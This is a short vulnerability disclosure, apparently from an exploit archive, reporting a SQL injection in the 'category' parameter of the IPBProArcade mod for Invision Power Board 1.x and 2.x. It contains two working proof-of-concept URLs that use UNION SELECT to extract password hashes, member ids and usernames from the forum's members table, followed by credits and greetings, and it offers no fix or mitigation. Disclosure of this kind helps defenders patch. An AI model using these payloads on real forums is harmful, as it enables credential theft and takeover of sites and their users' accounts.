i have found an sql injection in the popular ipbproarcade mod for ipb systems (1.x and 2.x)

the vuln exists in the "category" field.

buy using this field it is possible to inject any sql query and compemise the entire forum system

p.o.c

for ipb 1.x

http://site.com/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,passw
ord,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*

for ipb 2.x

index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,legacy_password,id,na
me,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*

discovered by Axl

credit goes to HLL for Helping me write the actual exploit

greetz to CereBrums And JonJon

cheers

Axl

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